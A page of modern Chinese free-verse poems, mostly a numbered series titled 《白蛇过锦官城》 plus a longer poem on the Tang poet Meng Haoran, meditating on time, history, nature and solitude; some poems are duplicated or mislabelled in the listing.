《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 《白蛇过锦官城四》 不使得被发现了， 被拥有于人掩埋的 紧接于这因此逃脱的 悄无声息和必然性。 \/ 早晨发问如鸟，或者 一个人早晨离开了床铺， 必然的深陷于某一种迷茫， 晨雾褪去，有什么就被 \/ 匆匆忙忙的带走。只有群山 作为了伟大遗留之物的轮廓。 \/ 我一定是错误的， 我醒来时四下无人。 这样的原因像春天， 枣树上挂满了青枣。 \/ 踟蹰不安，穿衣踱步的你。 而面前的不能走入内心深处， 江水洗润嘴唇，你今昔何在。 白蛇过锦官城五1995 《白蛇过锦官城五》 生命之自我，吊坠如此形成 尽管它随后以实体的坚硬 其中包含着这一悄无踪迹的 过程。它还没有结束， 已不再是那曾经。实则 我们为时间所作的颂歌。 而人类如果并非是提出什么 在渴求之外，又容易犯错。 人之必要性该如何更好， 犹如此刻是神秘的，来自于 造物深刻的从未曾结束。 白蛇过锦官城六1996 《白蛇过锦官城六》 这个不是由什么带来， 耳朵生茧的话只会更厚。 如果有一个山坡，村庄 曾经人烟兴旺，有很多的 羊群，牛，道路通往山坡。 \/ 这些都是为未来的铺就， 它遇到了，难以被处理。 它因此才可以在这个时刻， 称作了哀叹，树下面坐着。 \/ 寻找于空的人们， 绿色的丛林，苔藓 踩上去，鞋子就被水弄湿。 在林子里面的人， 隐藏起来了它们。 \/ 并且默念它们的名字， 如同身处于重复的 直到它们变得陈旧， 在这条道路上面， 有一个常新的名字。 \/ 有树木，不得不因为 傍晚，而将此呼应。 我们的命运在无风里面， 溜走，因为到达古代而 途径了这里的，这自我 这个见证者。 白蛇过锦官城七1997 《白蛇过锦官城七》 日子美丽，当人们 把相反的以整体来审视。 这个夜晚，掩藏了眼睛。 在看的视野里面， 那通往黑色是突然的。 在这之外，有一些事物 我们已经无法回去。 \/ 与那些它所不同的， 来自于表面，人的 通过了外貌随意的一撇。 \/ 犹如白天里面漫步， 在狭细栽种隶属于空的 竹子。其他的植物， 在我们的挑选的内心 如果它从未曾有过 更为长久的宁静，它的 是其他的本质，在这条 路的尽头，即使它更远于此。 白蛇过锦官城八1998 《白蛇过锦官城八》 偏爱通过了人 它在世界这个地方停顿。 它的车马联系于我 像丢失而成为的向着那里的人。 \/ 我在夜晚梦呓， 梦呓是一种重复 如果它想要做些什么， 并且最终的选择， 带着月色的皎洁。 \/ 它已经放置一个回答， 与我的内心并无二致。 但这需要一些时间， 白色的帐篷，白多过于 夜晚的漫长，因一个 原因变得错误。 \/ 我也会问自己， 内心脆弱的人儿， 是否真的是一个 会遇到另外的一个。 要像木头，树的衰败 之后显露的本质普普通通， 一个人说话，等车 都江堰到成都的路上， 山坡上有人放羊，养牛。 白蛇过锦官城九1999 《白蛇过锦官城九》 人们因为品尝， 在变的更多，更丰富之中 仿佛正超出于其外。 \/ 如果侧耳倾听， 神秘，你等待着我去说出， 一种由最初而来礼让么。 \/ 在与死亡相提并论， 像暮色里面隐藏起来的事物。 都是错误的这一些事情， 和人们的低头劳作相联系着。 \/ 在衣裳里面你藏了起来什么 是否有更多的时间来在， 一个劳作之后的夜晚，等待在 入睡的古老习惯前。 \/ 如果树木的影子太过于高大， 在你的眼睛里面，在你洗脸盆 的水中倒影，祈求于小的事物 不仅仅包括了它们。那些悬而未决 的，使得了指向简单中的珍重 一次又一次的被忽视掉了。 白蛇过锦官城十2000 《白蛇过锦官城九》 一无所获同样从两种情形而来， 当黎明，聪慧的人已经在昨夜 变得有一些差异。在相同上面 而第一次，不再面对着那事物。 像它们吗，于是你最后一次走近， 它们:树木，在道路两侧。我感觉到 你心情放松，它们那借助于了语言 在这个时刻，不可以溜走中的影子 那不同于人类。后者像席卷的模样 铺开以及稍后的收回，因此制造了 欢之哀歌，最初之物，以迷惑的形态 如果我在时间当中凸显出来了沉沦， 我发现了其他空无一物，身体正在 某个地方，某一个室内，将你倾听。 白蛇过锦官城十一2001 《白蛇过锦官城十一》 一棵树距离般的疑问， 自我这样如同身处于 有如人类的酒尊。以 陈年的芬芳，唯有酒 \/ 被排除而外者。又像是 同一个的因此姗姗来迟。 从在一个世界里面孤境， 对被排除的理解是仓促的。 \/ 并没有什么意外突然发生， 这不是它们，但又是在于此 像对于我们的某一种需要， 在被解释当中，同样那可被 辨识，由此不属于你我了。 \/ 这超过了其他而以超过的 形式，但这种始终不如风 持续着，一个秘密在于坦白。 为我在傍晚的树林，我所见 如果不包括的也被通往它的 道路之抵达包含，为在其内部 者，也远远超过了的我的想象。 白蛇过锦官城十一2002 《白蛇过锦官城十一》 一棵树距离般的疑问， 自我这样如同身处于 有如人类的酒尊。以 陈年的芬芳，唯有酒 \/ 被排除而外者。又像是 同一个的因此姗姗来迟。 从在一个世界里面孤境， 对被排除的理解是仓促的。 \/ 并没有什么意外突然发生， 这不是它们，但又是在于此 像对于我们的某一种需要， 在被解释当中，同样那可被 辨识，由此不属于你我了。 \/ 这超过了其他而以超过的 形式，但这种始终不如风的 因此持续，一个秘密在于坦白。 为我在傍晚的树林，我所见 如果不包括的也被通往它的 道路之抵达包含，为在其内部 者，也远远超过了的我的想象。 白蛇过锦官城十二2003 《白蛇过锦官城十二》 对于这样的宁静 我们的态度是保持一致。 有人对于我们轻声劝诫着 试图打开我们沉醉往日的耳朵。 秘密，它将最为的历险 怀着人道主义的本质 由现在这样的一些时刻来扒开。 它面带着微笑，人流攒动 有人离开了人群，这是一个 厌倦群体之群体。甚至 群体所代表的和群体的秘密。 它，秘密因此就是人类自身 我们的道路不是通往哪里 一个具体的地名只需要 日日夜夜的浮现，我们的心灵 是一个南方，杭州地区的大湖。 当我浇淋了，经受了它的冰凉 时值三月它又开始再次的温暖， 它始终为它自己所围绕着，就像 鱼被区别于浮出水面和通往幽深。 白蛇过锦官城十三2004 《白蛇过锦官城十三》 一棵树距离般的疑问， 自我这样如同身处于 有如人类的酒尊。以 陈年的芬芳，唯有酒 \/ 被排除而外者。又像是 同一个的因此姗姗来迟。 如果这在于对我们的等待， 作为那等待对象之中和里面。 如果它繁复，多种多样的它 迷惑我们，我们更早深入其中。 \/ 除了它自身通过了你我的无意义， 谁又能够不在宴席中为酒水欢醉。 我们彼此的爱意的时刻正在流逝， 今天因此变得重要了起来。如果 年轻的生命在于消歇，期盼着有如 宴席，手在空气中，划出虚空的倒影。 白蛇过锦官城十四2005 《白蛇过锦官城十四》 我想告诉我， 我的身体是讯息的通道。 在一个万物平静的地方， 原因于我的不认识那里。 \/ 认识与否从不重要开始， 属于一种感觉和灵感。 一种或者某一种，如果 我去认识它，我就会感觉到 认识就是不认识的必然匆忙。 \/ 于是，风景就像一片湖水， 多么美丽，即使没有而有的 是花朵，它真实在繁花似锦的 更深之处。于是，它摇摇的， 早已经将我从它的根，茎等待。 \/ 甚至它知道了我的秘密， 在一个雨夜，思念的人儿 偷偷写下一封又一封信。 它甚至打开过它们，并且 沿着某个陌生的道路走来。 \/ 大地以愚昧无知作为了条件， 某一种神秘性在于随后由认识 来提问和表达出来。这如果 适得其反，它向着那其他的地方 如果不是更深处，那是虚无吗， 当我们延伸自己的领土，我们的 是慈悲，是自我愈发的相信了自己。 白蛇过锦官城十五2006 《白蛇过锦官城十五》 我们分属于不同的地方， 不同的时代被我们瓜分。 复生长，衰败，被言说者 重新又一次迷乱的命运。 很少有那种像你的美， 因为你的自我的遮蔽。 从其他的事物而言， 这也是少有的。如果， 我们的语言正在塑造着什么， 像世界的星辰多出来了一颗。 就像我们称赞他们，那些 圣贤，早已经逝去者的身后。 而我无法以其他来指向这里， 但需要时间来习惯于农民的身份 对于观察者，当他途径我与田地 就像大自然里面的风，尘土飞扬。 白蛇过锦官城十六2007 《白蛇过锦官城十六》 树木被砍伐了，有一种含义 一种不合时宜，在悲苦外面。 树成为了它的尚未抵达之前、 这里，和当中。当中事物的 自我证明，但因为此而又超出。 成为了我。像一个答案。 \/ 成为我了，像一个提问。 像一棵树去分割不可分割者， 或者因果的复杂性已被因果 解决和处理:当我因为思索的 解剖，而看到了它是必然的。 作为我盲目:生活史中的奇迹。 轻易取得的是空，静物之中 那么，那依然在延伸着的，或者 这个在看的人，在陈旧窗台旁边。 孟浩然2008 《孟浩然》 有人行八千里， 诚实的人 行到了历史的良心。 给人留全尸，留盛名 在水边的土地上面 在黄褐色转向黑色的土坑那 有什么正因此而发生。 如果搅乱了历史的是深， 我们可以说是锄头， 并且对于挥动的人， 在他们已经被强调的时候 苦难的永恒已被充分的了解。 如果别的事情有人依然 兴趣浓厚， 这犹如不可多见的景观，犹如 南方诗人的行走的名字 每每又对于我而言被大风阻断。 呵，历史的良心太脆弱了 我们只能在院子里面 看着天上的群星， 如利刃一般数着它们 需要付出的代价， 意外的光明: 在文字的简略里面安居 即使不得安宁， 能作为基础的幸福。 我一定是醉了， 走向了被语言鄙视的， 全部历史和良心的别处。 那里，和孤独一样，又因为此 而过分的澄明:被酒水沾湿了的 怪罪被清水沾湿了的， 就是了诗歌。 这就是无人在的时候， 发生的一场a件。 这是从结尾，准备，充分 走向了开始。 这因此是哑口无言的孟浩然， 他代替了所有人类纽扣一般良心的诗人 当他总是疼痛的平静面容的表面， 当他的衣服无风的时候起伏和鼓胀 惨败的脸却推动了这一切。 呵，在梦中再一次出生的孟浩然 短命于我与他虚空形象，匆匆的告别。 让这些如回声一般的回荡 作为一个人，他 被赐予了人类的某一些， 可以用来在第二天摇摇晃晃， 对别人进行解释的统称。 酒鬼——甚至那更为的形象 是整个历史的担心 在夜晚徐徐下降的时候，我看得清楚 这里，我把它的零散重述一遍 ——如果我能躲开的，和我的一声叹息 : 遗留即使有关于语言 也有关于门外， 桃树所投下的人的影子。 指出的具体， 我的叹息，因为错误而被一点点的戳破。 温情的形象被我看到了， 作为一种附赠品， 它更加的长久。 作为物品包装的泡沫和塑料 上面残留着的是历史的温情。 历史如同一扇门， 一个夜晚只能够推开一次。 只能够装填进微不足道的东西 我一边搬运， 轻在我的双手上面 合拢也在，之前 是怀抱的姿势。 是拥抱的姿势来自于误解 如果在误解和沉默的那里， 对于他人尽力私藏自己欲求的企图， 整个的人类良心， 和欲望，从一种无从知晓那里溜出， 像零星的焰火 白蛇过锦官城二十三2016 《白蛇过锦官城二十三》 因为发出的声音为那爱， 它所驱逐于这种主动性，指针 sd省，钟表，它位于星空下。 而它的敲击，那永远向前是另外的。 以东西，它们模糊事物的外壳为界。 而只有人类，在他们疲倦的时候， 可以来来回回。陈旧的问题，那么 我们还能够做些什么。为我所丢弃 如同在人类的一双又一双手掌里面 是道德，拯救，存在因为种种而例外。 曾经我们也如同孩童，再一次， 灵魂与记忆深处，被星光照亮。 作为这常新于守旧像问题 早已经因为面前的谈论而解决掉了。 就在你我对于某一物问题般的提出 如果，这不可深入者为乃建基， 它们，不得不因为此而重复，如同 它们褪了下来，它们的空壳的不可褪 是那世界之丰富性。如同答案早就已经 是一个木桌子上面的丰富性。除非你 离开了居所，你，无家可归者的世界 之梦。作为最为深刻的现实而因此 丢弃掉了灯盏，那不可自我照亮的小草 那些星空，多美丽，像沉默不语 总是人之最后那到来者的为我们所感觉到了， 在这样的话语当中，如果我存在着 为欢欣于赞歌那离别的来不及了 朋友，这些时间就像花朵，有一个梦幻 上升，又在空气中再次的坠落下来。 我愿意聆听，小草聆听着你。 你越了过去才可以谈论如同 走过了一段湿滑，古旧的石板路 而那些回荡着的需要我们用尽了力气 言说于重复者，和人自我形象的影子 :一个事物为我们所知于遗忘， 因此它又在这人类的一部分上 如同遗忘是常新的某一个前提， 如同一种残缺，我出自那里。 锦官十一2041 锦官十一2042